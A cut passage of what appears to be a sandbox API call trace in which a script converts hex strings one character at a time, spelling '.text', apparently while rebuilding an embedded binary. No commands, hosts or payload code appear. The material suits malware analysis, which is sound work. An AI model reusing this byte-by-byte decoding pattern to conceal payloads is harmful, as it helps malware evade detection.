rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.935] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.935] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.935] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.935] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.936] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.936] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.937] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.937] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.937] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.937] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.938] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.938] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.939] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.939] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.939] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.939] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.940] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.940] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.942] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.942] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.942] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.942] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.943] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.943] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.943] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.943] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.944] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.944] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.945] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.945] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.945] VarParseNumFromStr (in: strIn="&H2E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.945] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0061.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x0) returned 1 [0061.946] VarParseNumFromStr (in: strIn="&H74", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.946] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0061.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="t", lpUsedDefaultChar=0x0) returned 1 [0061.947] VarParseNumFromStr (in: strIn="&H65", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.947] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0061.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e", lpUsedDefaultChar=0x0) returned 1 [0061.947] VarParseNumFromStr (in: strIn="&H78", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.948] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="x") returned 1 [0061.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="x", lpUsedDefaultChar=0x0) returned 1 [0061.948] VarParseNumFromStr (in: strIn="&H74", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.948] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0061.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="t", lpUsedDefaultChar=0x0) returned 1 [0061.949] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 